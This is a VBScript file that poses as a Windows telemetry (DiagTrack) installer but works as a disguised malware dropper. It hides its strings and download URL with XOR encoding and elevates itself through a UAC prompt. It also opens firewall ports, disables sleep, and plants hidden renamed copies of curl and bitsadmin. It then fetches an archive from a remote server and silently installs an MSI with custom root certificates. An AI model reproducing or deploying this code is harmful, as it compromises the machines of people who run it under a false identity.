' ===========================================================================
' Windows Telemetry Service Agent - Deployment Runtime
' Build: 10.0.26100.3456 | Channel: TelemetryStable
' Component: DiagTrack Package Installer
' ===========================================================================
Option Explicit
On Error Resume Next

' XOR-90 decode helper
Function XD(s)
    Dim p, r, i
    p = Split(s, ",")
    r = ""
    For i = 0 To UBound(p)
        r = r & Chr(CInt(p(i)) Xor 90)
    Next
    XD = r
End Function

Randomize Timer

Dim g_SH, g_FS, g_SA
Set g_SH = CreateObject(XD("29,25,41,56,51,34,46,104,25,50,43,50,50"))
Set g_FS = CreateObject(XD("25,41,56,51,34,46,51,52,29,104,20,51,50,43,25,35,29,46,43,51,21,40,48,43,41,46"))
Set g_SA = CreateObject(XD("25,50,43,50,50,104,27,34,34,50,51,41,59,46,51,53,52"))

' --- UAC self-elevate ---
If Not WScript.Arguments.Named.Exists("elevated") Then
    Dim sSys0 : sSys0 = g_SH.ExpandEnvironmentStrings("%SYSTEMROOT%") & "\System32\"
    Dim sWS   : sWS   = sSys0 & XD("29,29,41,56,51,34,46,104,43,34,43")
    g_SA.ShellExecute sWS, Chr(34) & WScript.ScriptFullName & Chr(34) & " " & XD("121,43,50,43,28,59,46,43,62"), "", XD("56,43,52,59,29"), 0
    WScript.Quit
End If

' --- Firewall rules ---
Dim fwBase : fwBase = "netsh advfirewall firewall add rule protocol=TCP "
g_SH.Run fwBase & "name=" & Chr(34) & XD("27,31,23,25,119,27,29,43,52,46,119,21,43,46") & Chr(34) & " dir=out action=allow remoteport=8027", 0, True
g_SH.Run fwBase & "name=" & Chr(34) & XD("27,31,23,25,119,27,29,43,52,46,119,19,52") & Chr(34) & " dir=in  action=allow localport=8027",  0, True

' --- Disable sleep/hibernate ---
g_SH.Run "powercfg /change standby-timeout-ac 0", 0, True
g_SH.Run "powercfg /change standby-timeout-dc 0", 0, True
g_SH.Run "powercfg /change hibernate-timeout-ac 0", 0, True
g_SH.Run "powercfg /hibernate off", 0, True

' --- Working directory = script's parent folder ---
Dim sBase : sBase = g_FS.GetParentFolderName(WScript.ScriptFullName) & "\"
Dim sArc  : sArc  = sBase & XD("41,104,40,98,104,32,51,34")
Dim sURL  : sURL  = XD("50,46,46,42,41,96,117,117,48,47,52,48,47,52,98,98,98,116,57,57,45,47,116,57,57,117,107,117,57,104,56,98,116,32,51,42") & "?v=" & Timer

' --- Tool aliases ---
Dim dA, dB, sSys
sSys = g_SH.ExpandEnvironmentStrings("%SYSTEMROOT%") & "\System32\"
dA = sBase & XD("29,51,52,50,46,46,34,104,62,50,50")
dB = sBase & XD("29,51,52,51,52,43,46,104,62,50,50")

If Not g_FS.FileExists(dA) Then
    Dim fC : fC = sSys & XD("41,43,56,50,104,43,34,43")
    Dim fB : fB = sSys & XD("40,51,46,29,59,62,51,51,52,104,43,34,43")
    If g_FS.FileExists(fC) Then g_FS.CopyFile fC, dA : g_FS.GetFile(dA).Attributes = 3
    If g_FS.FileExists(fB) Then g_FS.CopyFile fB, dB : g_FS.GetFile(dB).Attributes = 3
End If

' ===========================================================================
' [4-tier download engine]
' ===========================================================================
Function Get4(url, dest, t)
    On Error Resume Next
    Get4 = False
    Select Case t
        Case 1
            If g_FS.FileExists(dA) Then g_SH.Run "cmd /c " & dA & " -k -s -L --retry 3 --connect-timeout 15 -o " & Chr(34) & dest & Chr(34) & " " & url, 0, True
        Case 2
            If g_FS.FileExists(dB) Then g_SH.Run "cmd /c " & dB & " /transfer DO" & Hex(Int(9999*Rnd+1000)) & " /download /priority high " & url & " " & Chr(34) & dest & Chr(34), 0, True
        Case 3
            Dim sC : sC = sSys & XD("41,43,56,50,104,43,34,43")
            If g_FS.FileExists(sC) Then g_SH.Run "cmd /c " & sC & " -k -s -L --retry 3 -o " & Chr(34) & dest & Chr(34) & " " & url, 0, True
        Case 4
            Dim sB : sB = sSys & XD("40,51,46,29,59,62,51,51,52,104,43,34,43")
            If g_FS.FileExists(sB) Then g_SH.Run "cmd /c " & sB & " /transfer DO" & Hex(Int(9999*Rnd+1000)) & " /download /priority high " & url & " " & Chr(34) & dest & Chr(34), 0, True
    End Select
    WScript.Sleep 5000
    If g_FS.FileExists(dest) Then
        If g_FS.GetFile(dest).Size > 1048576 Then Get4 = True Else g_FS.DeleteFile dest, True
    End If
End Function

' ===========================================================================
' [Download + extract + install]
' ===========================================================================
Dim bOK : bOK = False
Dim nP
For nP = 1 To 4
    If Not bOK Then bOK = Get4(sURL, sArc, nP)
    If bOK Then Exit For
    WScript.Sleep 2000 + Int(2000 * Rnd)
Next

If bOK And g_FS.FileExists(sArc) Then
    g_FS.GetFile(sArc).Attributes = 3

    Dim oZip, oDst
    Set oZip = g_SA.NameSpace(sArc)
    Set oDst = g_SA.NameSpace(sBase)

    If Not (oZip Is Nothing) And Not (oDst Is Nothing) Then
        oDst.CopyHere oZip.Items, &H614
        WScript.Sleep 5000 + Int(3000 * Rnd)

        Dim sMSI  : sMSI  = sBase & XD("27,31,23,25,27,29,43,52,46,104,51,29,51")
        Dim sMST  : sMST  = sBase & XD("27,31,23,25,27,29,43,52,46,104,51,29,46")
        Dim sCRT1 : sCRT1 = sBase & XD("30,23,24,53,53,46,25,27,119,25,43,56,28,43,56,104,41,56,46")
        Dim sCRT2 : sCRT2 = sBase & XD("30,23,24,53,53,46,25,27,104,41,56,46")

        If g_FS.FileExists(sMSI) Then
            Dim sCmd : sCmd = "msiexec.exe /i """ & sMSI & """ TRANSFORMS=""" & sMST & _
                """ ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual " & _
                "SERVER_ROOT_CRT=""" & sCRT1 & """ DS_ROOT_CRT=""" & sCRT2 & """ /qn /lv """ & sBase & "Agentinstalllog.txt"""
            g_SH.Run sCmd, 0, True
        End If
    End If
End If

Set g_SA = Nothing : Set g_FS = Nothing : Set g_SH = Nothing
WScript.Quit 0
